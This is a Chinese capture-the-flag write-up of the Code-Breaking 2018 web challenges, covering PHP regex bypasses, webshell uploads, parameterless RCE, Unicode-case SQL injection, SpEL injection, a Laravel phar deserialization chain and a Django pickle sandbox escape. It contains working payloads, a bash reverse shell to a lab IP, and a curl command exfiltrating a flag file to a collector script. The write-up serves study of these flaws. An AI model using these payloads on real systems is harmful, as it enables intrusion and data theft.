code-breaking全部题解及知识拓展
2019-09-17 10:09:17 Author: xz.aliyun.com(查看原文) 阅读量:207 收藏

CodeBreaking : https://code-breaking.com/

在线正则表达式匹配 : https://regex101.com/

根据已有的大佬们的 wp 对 code breaking 做的一个复现,很多内容都是第一次接触,对涉及到的知识点做些总结和拓展。

  • create_function 注入

  • 源码

    <?php
    $action = $_GET['action'] ?? '';
    $arg = $_GET['arg'] ?? '';
    if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
        show_source(__FILE__);
    } else {
        $action('', $arg);
    }
    
  • 正则 /i 不区分大小写,/s 匹配任何不可见字符,包括空格,TAB,换行,/D 如果使用 $ 限制结尾字符,则不允许结尾有换行

  • preg_match('/^[a-z0-9_]*$/isD', $action) 匹配所有字母,数字和下划线开头的字符串

  • 想通过 fuzz 找到字符串以达到 bypass 的目的

    import requests
    
    url_start = 'http://192.168.233.132:8087/?action='
    url_end = 'var_dump&arg=2'
    
    for i in range(1,256):
      i = chr(i).encode()
      para = i.hex()
    
      url = url_start + '%' + str(para) + url_end
      r = requests.get(url=url)
    
        # 不出现 error 且 不返回 index.php
      if (r.headers['Content-Length'] != '279') and ('error' not in r.text):
          print(para)
    
  • 找到了 %5c,即 \,可以让 var_dump 成功执行,ph 牛给了如下的解释。接下来就是 getshell 函数的寻找,要有两个参数且第二个参数可能会导致 RCE

    php 里默认命名空间是 \,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名 function_name() 调用,调用的时候其实相当于写了一个相对路径;而如果写 \function_name() 这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

  • 不难发现函数 create_function,官方定义如图

  • 以如下代码为例

    <?php
    $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
    echo "New anonymous function: $newfunc\n";
    echo $newfunc(2, M_E) . "\n";
    // outputs
    // New anonymous function: lambda_1
    // ln(2) + ln(2.718281828459) = 1.6931471805599
    ?>
    

    第一行代码等价于

    eval(
    function __lambda_func($a, $b){
      return "ln($a) + ln($b) = " . log($a * $b); 
    }
    )
    
  • 本题就可以构造 payload : action=\create_function&arg=return 'peri0d';}var_dump(scandir('../'));/*,然后 readfile(flag) 即可

    相当于

    eval(
    function __lambda_func($a, $b){
      return 'peri0d';}
      var_dump(scandir('../')); /*
    }
    )
    
  • PCRE 回溯次数限制绕过正则

  • 源码

    <?php
    function is_php($data){
        return preg_match('/<\?.*[(`;?>].*/is', $data);
    }
    
    if(empty($_FILES)) {
        die(show_source(__FILE__));
    }
    
    $user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
    $data = file_get_contents($_FILES['file']['tmp_name']);
    if (is_php($data)) {
        echo "bad request";
    } else {
        @mkdir($user_dir, 0755);
        $path = $user_dir . '/' . random_int(0, 10) . '.php';
        move_uploaded_file($_FILES['file']['tmp_name'], $path);
    
        header("Location: $path", true, 303);
    }
    
  • 上传文件,使用正则判断是否含有 php 代码,正则 /i 不区分大小写,/s 匹配任何不可见字符,包括空格,TAB,换行。

  • 如果不含有 php 代码,上传的文件会被保存,并在 http 中重定向到文件路径

  • 常见的正则引擎有两种,DFA 和 NFA,php 中的 PCRE 库使用的是 NFA,

    • DFA : 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
    • NFA : 从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态
  • 假设待匹配字符串 <?php phpinfo();//aaaaa 匹配顺序如下图 :

  • 在第四步,由于匹配的是 .* 任意多个字符,所以匹配到最后

  • 按照正则,在 .* 后面应该是 [(`;?>] ,显然 //aaaaa 不对,所以依次吐出这几个字符,即回溯,这里总共回溯了 8 次,回溯到 ;.* 匹配的是 <?php phpinfo() ,后面的 ; 符合 [(`;?>] ,所以匹配 ; ,然后正则最后的 .* 匹配到最后

  • php 有一个回溯上限 backtrack_limit ,默认是 1000000。如果回溯上限超过 100 万那么 preg_match 返回 false ,既不是 1 也不是 0 ,这样就可以绕过了

  • 对应 poc :

    import requests
    from io import BytesIO
    
    url = 'http://192.168.233.132:8088/index.php'
    
    files = {
      'file': BytesIO(b'<?php eval($_POST[shell]);//' + b'a'*1000000)
    }
    
    # 请求并禁止重定向
    r = requests.post(url=url, files=files, allow_redirects=False)
    
    print(r.headers)
    
  • 可以获取 shell 位置,连接即可

  • 如下一个 waf :

    <?php
    if(preg_match('/UNION.+?SELECT/is', $input)) {
        die('SQL Injection');
    }
    
  • 输入 UNION/*aaaaa*/SELECT ,这个正则表达式执行流程如下

    1. 正则先匹配 UNION,然后 .+? 匹配 /
    2. 由于是非贪婪匹配,匹配最短字符,所以只匹配到 / 就停止
    3. 接着 S 匹配 ,匹配失败,回溯,由 .+? 匹配 ,成功
    4. 重复上一步,直到匹配结束
  • 这里也可以利用回溯次数限制绕过正则

  • preg_match 返回的是匹配到的次数,如果匹配不到会返回 0 ,如果报错就会返回 false 。所以,对 preg_match 来说,只要对返回结果有判断,就可以避免这样的问题

  • 伪协议解码 base64 写入 shell

  • 代码如下

    <?php
    if(isset($_GET['read-source'])) {
        exit(show_source(__FILE__));
    }
    
    define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
    
    if(!is_dir(DATA_DIR)) {
        mkdir(DATA_DIR, 0755, true);
    }
    chdir(DATA_DIR);
    
    $domain = isset($_POST['domain']) ? $_POST['domain'] : '';
    $log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
    
    if(!empty($_POST) && $domain){
        $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
        $output = shell_exec($command);
        $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
    
        $log_name = $_SERVER['SERVER_NAME'] . $log_name;
        if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
            file_put_contents($log_name, $output);
            }
    echo $output;
    }
    endif; 
    ?>
    
  • $_SERVER['REMOTE_ADDR'] 获取浏览当前页面的用户的 IP 地址,在 data 下创建文件夹,用于存储 output

  • $domain 和 $log 两个参数可控,$domain 用于 dig 命令,$log 用于将结果写入

  • 在 php 中,只要是传 filename 的地方,都可以传协议流

  • 思路就是 $log_name 处利用伪协议将 $output 处的字符串 base64 解码写入 webshell

  • $_SERVER['SERVER_NAME'] 获取当前运行脚本所在的服务器的主机名。如果脚本运行于虚拟主机中,该名称是由那个虚拟主机所设置的值决定。这个值可以更改,由 HTTP Header 中的 Host 决定。

  • pathinfo() 函数过滤后缀名,但是,只要在后缀名后加上 /. ,它就获取不到后缀名了,且可以正常写入 .php 之中。php 在处理路径的时候,会递归删除掉路径中存在的 /.

  • php 伪协议 base64 解码中,如果遇到不合规范的字符就直接跳过。base64 解码是按照 4 位解的,所以要只有传入 4 的倍数位字符串才能解码为正常字符串,且传入的 base64 不能以 == 结尾,== 出现在 base64 中间不符合规则,可能会无法解析

  • payload :

    POST
    Host: php
    
    domain=YWFhYTw/cGhwIGV2YWwoJF9QT1NUWydzaGVsbCddKTsgLy8q&log=://filter/write=convert.base64-decode/resource=/var/www/html/data/daa6b8b28b2eda419112a887399ce9fc/shell.php/.
    

  • 结果 :

  • 无参 RCE

  • 代码如下 :

    <?php
    if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
        eval($_GET['code']);
    } else {
        show_source(__FILE__);
    }
    
  • ciscn 2019 和 rctf 2018 的题目,统计一下这一题的解法,主要是 get_defined_vars() 和 session_id() 两个函数

  • preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])\W 匹配任意字母和数字,(?R)? 重复整个模式,?R 是 php 中的一种递归模式,合在一起类似于匹配 x(y(z())) 样式的,且不能存在参数,输入 ?code=phpinfo(); 可以查看 phpinfo 页面

  • 在 rctf 2018 的题目中使用的是 apache 的容器,在本题使用 nginx 容器,都是考虑通过修改请求头信息来实现 RCE

  • 在 apache 中可以使用 getallheaders() 获取所有头信息,而在 nginx 中可以使用 get_defined_vars() 函数获取所有已定义的变量列表,然后就可以通过位置函数来操控数组

  • session_id() 可以获取 PHPSESSID,虽然 PHPSESSID 只允许字母数字和下划线出现,hex2bin 转换一下编码即可

  • 几个 payload :

    // 第一个
    ?code=eval(hex2bin(session_id(session_start())));  // echo 'peri0d';
    Cookie: PHPSESSID=6563686f2027706572693064273b
    
    //第二个
    ?code=eval(end(current(get_defined_vars())));&a=var_dump(scandir('../'));
    
    //第三个
    ?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
    
  • js 的题目,关于 javascript 的大小写特性,两个函数 toLowerCase() 和 toLowerCase()

  • 代码如下 :

    // initial libraries
    const Koa = require('koa')
    const sqlite = require('sqlite')
    const fs = require('fs')
    const views = require('koa-views')
    const Router = require('koa-router')
    const send = require('koa-send')
    const bodyParser = require('koa-bodyparser')
    const session = require('koa-session')
    const isString = require('underscore').isString
    const basename = require('path').basename
    
    const config = JSON.parse(fs.readFileSync('../config.json', {encoding: 'utf-8', flag: 'r'}))
    
    async function main() {
        const app = new Koa()
        const router = new Router()
        const db = await sqlite.open(':memory:')
    
        await db.exec(`CREATE TABLE "main"."users" (
            "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
            "username" TEXT NOT NULL,
            "password" TEXT,
            CONSTRAINT "unique_username" UNIQUE ("username")
        )`)
        await db.exec(`CREATE TABLE "main"."flags" (
            "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
            "flag" TEXT NOT NULL
        )`)
        for (let user of config.users) {
            await db.run(`INSERT INTO "users"("username", "password") VALUES ('${user.username}', '${user.password}')`)
        }
        await db.run(`INSERT INTO "flags"("flag") VALUES ('${config.flag}')`)
    
        router.all('login', '/login/', login).get('admin', '/', admin).get('static', '/static/:path(.+)', static).get('/source', source)
    
        app.use(views(__dirname + '/views', {
            map: {
                html: 'underscore'
            },
            extension: 'html'
        })).use(bodyParser()).use(session(app))
    
        app.use(router.routes()).use(router.allowedMethods());
    
        app.keys = config.signed
        app.context.db = db
        app.context.router = router
        app.listen(3000)
    }
    
    function safeKeyword(keyword) {
        if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
            return keyword
        }
    
        return undefined
    }
    
    async function login(ctx, next) {
        if(ctx.method == 'POST') {
            let username = safeKeyword(ctx.request.body['username'])
            let password = safeKeyword(ctx.request.body['password'])
    
            let jump = ctx.router.url('login')
            if (username && password) {
                let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
    
                if (user) {
                    ctx.session.user = user
    
                    jump = ctx.router.url('admin')
                }
    
            }
    
            ctx.status = 303
            ctx.redirect(jump)
        } else {
            await ctx.render('index')
        }
    }
    
    async function static(ctx, next) {
        await send(ctx, ctx.path)
    }
    
    async function admin(ctx, next) {
        if(!ctx.session.user) {
            ctx.status = 303
            return ctx.redirect(ctx.router.url('login'))
        }
    
        await ctx.render('admin', {
            'user': ctx.session.user
        })
    }
    
    async function source(ctx, next) {
        await send(ctx, basename(__filename))
    }
    
    main()
    
  • 关键代码在于 safeKeyword() 函数,过滤了 union 和 select

    function safeKeyword(keyword) {
        if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
            return keyword
        }
    
        return undefined
    }
    
  • p 牛在博客中提到过如下特性,但是也适用于 python 中,这样就可以绕过保护函数,达到注入的目的

    " ı ".toUpperCase() == ' I '

    " ſ ".toUpperCase() == ' S '

    " K ".toLowerCase() == ' k '

  • payload :

    POST
    username=peri0d&password=' un%C4%B1on %C5%BFelect 1,(%C5%BFelect flag from flags),3'
    
  • EI 表达式注入,http://rui0.cn/archives/1043

  • 基础知识

  • 目录结构如下

  • SpringBoot 框架,看了一下 Spring 表达式

    public class HelloWorld { 
        public static void main(String[] args) { 
            //构造上下文:准备比如变量定义等等表达式运行需要的上下文数据 
            EvaluationContext context = new StandardEvaluationContext(); 
            //创建解析器:提供SpelExpressionParser默认实现 
            ExpressionParser parser = new SpelExpressionParser(); 
            //解析表达式:使用ExpressionParser来解析表达式为相应的Expression对象 
            Expression expression = 
            parser.parseExpression("('Hello' + ' World').concat(#end)"); 
    
            //设置上下文中的变量的值 
            context.setVariable("end", "!SpringEL"); 
            //执行表达式,获取运行结果 
            String str = (String)expression.getValue(context); 
            // the str=Hello World!SpringEL
            System.out.println("the str="+str); 
        } 
    }
    
  • 先看配置文件 application.yml,提供了一个黑名单和用户列表

    spring:
      thymeleaf:
        encoding: UTF-8
        cache: false
        mode: HTML
    keywords:
      blacklist:
        - java.+lang
        - Runtime
        - exec.*\(
    user:
      username: admin
      password: admin
      rememberMeKey: c0dehack1nghere1
    
  • 文件结构 :

    • SmallEvaluationContext.java 实现构造上下文的功能
    • ChallengeApplication.java 实现启动功能
    • Encryptor.java 实现 AES 加解密
    • KeyworkProperties.java 实现黑名单
    • UserConfig.java 实现用户模型,其中的 RememberMe 用到了 Encryptor
    • MainController.java 控制程序的主要逻辑
  • 主要看 MainController.java 中的代码,在 login 功能处,如果勾选 Remember me 就会返回一个加密之后的 cookie,然后跳转到 hello.html

    @PostMapping("/login")
        public String login(@RequestParam(value = "username", required = true) String username,
                            @RequestParam(value = "password", required = true) String password,
                            @RequestParam(value = "remember-me", required = false) String isRemember,
                            HttpSession session, HttpServletResponse response)
        {
            if (userConfig.getUsername().contentEquals(username) && userConfig.getPassword().contentEquals(password)) {
                session.setAttribute("username", username);
    
                if (isRemember != null && !isRemember.equals("")) {
                    Cookie c = new Cookie("remember-me", userConfig.encryptRememberMe());
                    c.setMaxAge(60 * 60 * 24 * 30);
                    response.addCookie(c);
                }
    
                return "redirect:/";
            }
            return "redirect:/login-error";
        }
    

  • 对敏感信息 cookie 的操作如下,首先判断 remember-me 是否存在,然后获取其值进行解密,直接将它赋值给 username,接下来就是使用 getAdvanceValue() 这个自定义函数赋值给 name

    @GetMapping
        public String admin(@CookieValue(value = "remember-me", required = false) String rememberMeValue,HttpSession session,Model model) {
            if (rememberMeValue != null && !rememberMeValue.equals("")) {
                String username = userConfig.decryptRememberMe(rememberMeValue);
                if (username != null) {
                    session.setAttribute("username", username);
                }
            }
    
            Object username = session.getAttribute("username");
            if(username == null || username.toString().equals("")) {
                return "redirect:/login";
            }
    
            model.addAttribute("name", getAdvanceValue(username.toString()));
            return "hello";
        }
    
  • getAdvanceValue 函数如下,就是与黑名单匹配,如果匹配则抛出 FORBIDDEN,否则进行正常的 SpEL 解析

    private String getAdvanceValue(String val) {
            for (String keyword: keyworkProperties.getBlacklist()) {
                Matcher matcher = Pattern.compile(keyword, Pattern.DOTALL | Pattern.CASE_INSENSITIVE).matcher(val);
                if (matcher.find()) {
                    throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
                }
            }
    
            ParserContext parserContext = new TemplateParserContext();
            Expression exp = parser.parseExpression(val, parserContext);
            SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
            return exp.getValue(evaluationContext).toString();
        }
    
  • 这里就是 SpEL 注入实现 RCE 了,在不指定 EvaluationContext 时,默认采用的是 StandardEvaluationContext ,这里还进行了黑名单匹配,利用反射就可以绕过黑名单

  • 在 JAVA 中,通过 java.lang.Runtime.getRuntime().exec(cmd) 来执行命令,这里可以利用反射写一个反弹 shell 来 getshell,构造 payload 如下 :

    #{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.233.130/2333 0>&1"})}
    
  • 加密之后修改 cookie 发送

    import static net.mindview.util.Print.*;
    
    public class sss {
        public static void main(String[] args) {
            String x = "#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/192.168.233.130/2333 0>&1\"})}";
            String y = Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", x);
            print(y);
        }
    }
    
  • 实现反弹 shell

  • 寻找 POP 链,phar 反序列化,GitHub 给的 docker 环境好像有点问题

  • https://github.com/phith0n/code-breaking/blob/master/2018/lumenserial

  • 首先看一下路由信息,当访问 /server/editor 时会调用 App\Http\Controllersmain 方法

    $router->get('/server/editor', 'EditorController@main');
    $router->post('/server/editor', 'EditorController@main');
    
  • 进入 EditorController.php 文件,存在 doUploadImagedoCatchimagedoListImagedoConfig 的功能。进入 main,从 url 获取 action 参数,如果 action 存在就执行这个函数,返回结果均为 json 格式

    public function main(Request $request)
    {
        $action = $request->query('action');
        try {
            if (is_string($action) && method_exists($this, "do{$action}")) {
                return call_user_func([$this, "do{$action}"], $request);
            } else {
                throw new FileException('Method error');
            }
        } catch (FileException $e) {
            return response()->json(['state' => $e->getMessage()]);
        }
    }
    
  • download 函数中,$url 未经过滤就传给了 file_get_contents,而 $url 源自 doCatchimage 中的 $request->input($this->config['catcherFieldName']),查看配置文件 /resources/editor/config.json 就可以知道其值为 source,也就是 url 中的 source 参数,然后就可以利用 phar 反序列化

    protected function doCatchimage(Request $request)
    {
        $sources = $request->input($this->config['catcherFieldName']);
        $rets = [];
        if ($sources) {
            foreach ($sources as $url) {
                $rets[] = $this->download($url);
            }
        }
        return response()->json([
            'state' => 'SUCCESS',
            'list' => $rets
        ]);
    }
    
  • 可以直接根据已有的 payload 构造反序列化 https://xz.aliyun.com/t/6059

  • exp :

    <?php
    namespace Illuminate\Broadcasting {
        class PendingBroadcast {
            protected $events;
            protected $event;
            function __construct($evilCode)
            {
                $this->events = new \Illuminate\Bus\Dispatcher();
                $this->event = new BroadcastEvent($evilCode);
            }
        }
    
      class BroadcastEvent {
            public $connection;
            function __construct($evilCode)
            {
                $this->connection = new \Mockery\Generator\MockDefinition($evilCode);
            }
        }
    }
    
    namespace Illuminate\Bus {
        class Dispatcher {
            protected $queueResolver;
            function __construct()
            {
                $this->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load'];
            }
        }
    }
    
    namespace Mockery\Loader {
        class EvalLoader {}
    }
    namespace Mockery\Generator {
        class MockDefinition {
            protected $config;
            protected $code;
            function __construct($evilCode)
            {
                $this->code = $evilCode;
                $this->config = new MockConfiguration();
            }
        }
        class MockConfiguration {
            protected $name = 'abcdefg';
        }
    }
    
    namespace {
      $code = "<?php phpinfo(); exit; ?>";
      $exps = new \Illuminate\Broadcasting\PendingBroadcast($code);
    
        $p = new Phar('exp.phar', 0, 'exp.phar');
        $p->startBuffering();
        $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
        $p->setMetadata($exps);
        $p->addFromString('1.txt','text');
        $p->stopBuffering();
    }
    ?>
    
  • python 反序列化,Django 模板引擎沙箱

  • 基础知识 : python 反序列化

  • 通常代码审计先看配置文件,Django 配置文件 web/core/setting.py,发现如下代码 :

    SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
    SESSION_SERIALIZER = 'core.serializer.PickleSerializer'
    
  • 一般默认的 Django 配置文件是不含这两项的,SESSION_ENGINE 是用户 session 存储的位置,SESSION_SERIALIZER 是 session 存储的方式。用户的 session 先经过 SESSION_SERIALIZER 处理成一个字符串后存储到 SESSION_ENGINE 指定的位置。在这里,就是 session 使用 pickle 的序列化方法,经过签名后存储在 cookies 中,我们所不知道的就是签名的密钥

  • 思路就是获取密钥,pickle 反序列化

  • 阅读路由信息,首先会调用 views.RegistrationLoginView.as_view() 函数,进行登录或者注册之后,在 views.index() 函数中直接将用户名拼接到模板中,也就是说这里存在着 SSTI 漏洞,那就可以利用它获取 SECRET_KEY

    @login_required
    def index(request):
        django_engine = engines['django']
        template = django_engine.from_string('My name is ' + request.user.username)
        return HttpResponse(template.render(None, request))
    
  • 随意构造一个 username 为 {{user.password}} 可以看到一个加密后的密码,这就验证了 SSTI

  • /template/registration/login.html{% csrf_token %} 处下个断点,可以看到有很多变量,其中有一部分是加载模板的时候传入的,还有一部分是 Django 自带的,可以在 settings.py 中的 templates 查看自带的变量

    TEMPLATES = [
        {
            'BACKEND': 'django.template.backends.django.DjangoTemplates',
            'DIRS': [],
            'APP_DIRS': True,
            'OPTIONS': {
                'context_processors': [
                    'django.template.context_processors.debug',
                    'django.template.context_processors.request',
                    'django.contrib.auth.context_processors.auth',
                    'django.contrib.messages.context_processors.messages',
                ],
            },
        },
    ]
    
  • 这里的 context_processors 就代表会向模板中注入的一些上下文。通常来说, requestuser 、和 perms 都是默认存在的,但显然, settings 是不存在的,我们无法直接在模板中读取 settings 中的信息,包括密钥。Django 的模板引擎有一定限制,比如无法读取用下划线开头的属性

  • 经过一番寻找,在 request.user.groups.source_field.opts.app_config.module.admin.settings 处发现 SECRET_KEY ,那就可以构造 username 为 request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY 即可获取签名密钥了 zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm

  • 接着就是 pickle 的反序列化了,其核心文件为 /core/serializer.py

    ```python
    import pickle
    import io
    import builtins

    all = ('PickleSerializer', )

class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', 'import', 'exit'}

def find_class(self, module, name):
      # Only allow safe classes from builtins.
      if module == "builtins" and name not in self.blacklist:
          return getattr(builtins, name)
      # Forbid everything else.
      raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

class PickleSerializer():
def dumps(self, obj):
return pickle.dumps(obj)

def loads(self, data):
      try:
          if isinstance(data, str):
              raise TypeError("Can't load pickle from unicode string")
          file = io.BytesIO(data)
          return RestrictedUnpickler(file,encoding='ASCII', errors='strict').load()
      except Exception as e:
          return {}
- 其中设置了一个反序列化沙盒,禁用了 `'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'` 并且只允许调用 python 内置函数

- 但是 `getattr` 这个万金油函数没有被限制,那就可以使用 `builtins.getattr(builtins,'eval')` 来获取 `eval` 函数,这就相当于绕过了这个沙盒

- 首先执行 `getattr` 获取 `eval` 函数,再执行 `eval` 函数,这实际上是两步,而我们常用 `__reduce__` 生成的序列化字符串,只能执行一个函数,这就产生矛盾了,所以就要放弃 `__reduce__` 直接手写 pickle 代码

- pickle 是一种堆栈语言,它没有变量名这个概念,pickle 的内容存储在 stack(栈) 和 memo(存储信息的列表) 中。首先将 payload `b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'` 写进一个文件

  ```python
  import pickle
  import os

  class Person():
      def __reduce__(self):
          return (os.system, ('whoami',))

  person = Person()
  f = open('pickle','wb')
  pickle.dump(person ,f, protocol = 0)
  f.close()
  • 执行 python -m pickletools pickle 对其分析,得到一堆操作指令(opcode)

  • 阅读源码可以获得所有的 opcodes

  • 这段 pickle 代码所涉及到的部分符号意思如下 :

    c : 引入模块和对象,模块名和对象名以换行符分割。(find_class校验就在这一步,也就是说,只要c这个OPCODE的参数没有被find_class限制,其他地方获取的对象就不会被沙盒影响了,这也是为什么要用getattr来获取对象)
    p : 将栈顶的元素存储到memo中,p后面跟一个数字,就是表示这个元素在memo中的索引
    ( : 压入一个标志到栈中,表示元组的开始位置
    V : 向栈中压入一个(unicode)字符串
    t : 从栈顶开始,找到最上面的一个(,并将(到t中间的内容全部弹出,组成一个元组,再把这个元组压入栈中
    R : 从栈顶弹出一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上
    . : 表示整个程序结束
  • 那么这段 pickle 就很容易懂了

    assembly language 00: c GLOBAL 'nt system' # 向栈顶压入 'nt.system' 这个可执行对象 11: p PUT 0 # 将这个对象存储到 memo 的第 0 个位置 14: ( MARK # 压入一个元组的开始标志 15: V UNICODE 'whoami' # 压入字符串'whoami' 23: p PUT 1 # 将这个字符串存储到 memo 的第 1 个位置 26: t TUPLE (MARK at 14) # 将由刚压入栈中的字符串弹出,再将由这个字符串组成的元组压入栈中 27: p PUT 2 # 将这个元组存储到 memo 的第 2 个位置 30: R REDUCE # 从栈上弹出两个元素,分别是可执行对象和元组,并执行,这里即为 'nt.system('whoami')' ,将结果压入栈中 31: p PUT 3 # 将栈顶的元素(也就是刚才执行的结果)存储到 memo 的第 3 个位置 34: . STOP # 程序结束

  • 简化为如下代码,memo 没有起到太大作用,但这段代码仍然可以执行命令

    nt
    system
    (Vwhoami
    tR.
  • 接着开始写 pickle 代码

    cbuiltins # 将 builtins 设为可执行对象
    getattr # 获取 getattr 方法
    (cbuiltins # 压入元组开始标志,并将 builtins 设为可执行对象
    dict # 获取 dict 对象
    S'get' # 压入字符串 'get'
    tR(cbuiltins # 弹出 builtins.dict,get 并组成新的元组压入栈中。然后执行 builtins.getattr(builtins.dict,get) 得到 get 方法压入栈中。再压入元组标志,将 builtins 设为可执行对象
    globals # 获取 builtins.globals
    (tRS'builtins' # 压入元组标志,执行 builtins.globals,然后压入字符串 'builtins'
    tRp1 # 执行 get(builtins),获取到 builtins 对象存储到 memo[1] 处
  • python 代码

    import pickle
    import builtins
    
    data = b'''cbuiltins
    getattr
    (cbuiltins
    dict
    S'get'
    tR(cbuiltins
    globals
    (tRS'builtins'
    tRp1
    .'''
    
    data = pickle.loads(data)
    
    print(data)
    # <module 'builtins' (built-in)>
    
  • 然后利用这个没有限制的 builtins 对象获取危险函数,并执行,这就绕过了沙盒

    cbuiltins # 将 builtins 设为可执行对象
    getattr # 获取 getattr 方法
    (g1 # 压入数组,压入上一步获取的 builtins 对象
    S'eval' # 压入字符串 'eval'
    tR(S'__import__("os").system("id")' # 获取到 eval 函数。将字符串 '__import__("os").system("id")' 压入
    tR. # 执行 eval('__import__("os").system("id")')
  • 上面都是绕过的分析,看一下本题有哪些可控点,考虑 SESSIONID ,接下来就看一下源码中对于它的操作

  • 它使用的是 django.contrib.sessions.backends.signed_cookies 直接导入

  • python 代码

    ```python
    import pickle
    import builtins
    import io

    class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'exec', 'execfile', 'compile', 'open', 'input', 'import', 'exit'}

    def find_class(self, module, name):

    # Only allow safe classes from builtins.
      if module == "builtins" and name not in self.blacklist:
          return getattr(builtins, name)
      # Forbid everything else.
      raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()

data = b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'import("os").system("id")'
tR.
.'''

data = restricted_loads(data)

print(data)

![](https://wcgimages.oss-cn-shenzhen.aliyuncs.com/code_breaking/pickle_6.png)

- 本题的 exp 如下,由于在同一个局域网就在物理机上写了一个接收的 php

  ```python
  from django.core import signing
  import pickle
  import builtins,io
  import base64
  import datetime
  import json
  import re
  import time
  import zlib
  data = b'''cbuiltins
  getattr
  (cbuiltins
  dict
  S'get'
  tR(cbuiltins
  globals
  (tRS'builtins'
  tRp1
  cbuiltins
  getattr
  (g1
  S'eval'
  tR(S'__import__("os").system("curl http://192.168.0.100/xss/xss.php?$(cat /flag_djang0_p1ckle | base64)")'
  tR
  .'''

  def b64_encode(s):
      return base64.urlsafe_b64encode(s).strip(b'=')


  def pickle_exp(SECRET_KEY):
      global data
      is_compressed = False
      compress = False
      if compress:
          # Avoid zlib dependency unless compress is being used
          compressed = zlib.compress(data)
          if len(compressed) < (len(data) - 1):
              data = compressed
              is_compressed = True
      base64d = b64_encode(data).decode()
      if is_compressed:
          base64d = '.' + base64d
      SECRET_KEY = SECRET_KEY
      # 根据SECRET_KEY进行Cookie的制造
      session = signing.TimestampSigner(key = SECRET_KEY,salt='django.contrib.sessions.backends.signed_cookies').sign(base64d)
      print(session)


  if __name__ == '__main__':
      SECRET_KEY = 'zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm'
      pickle_exp(SECRET_KEY)

  • xss.php

    <?php
    $data = fopen("cookies.txt","a+");
    
    foreach ($_GET as $key=>$value) 
    {
      fwrite($data, $key.":".$value);
      fwrite($data, "\n");
    }
    ?>
    

文章来源: http://xz.aliyun.com/t/6333
如有侵权请联系:admin#unsafe.sh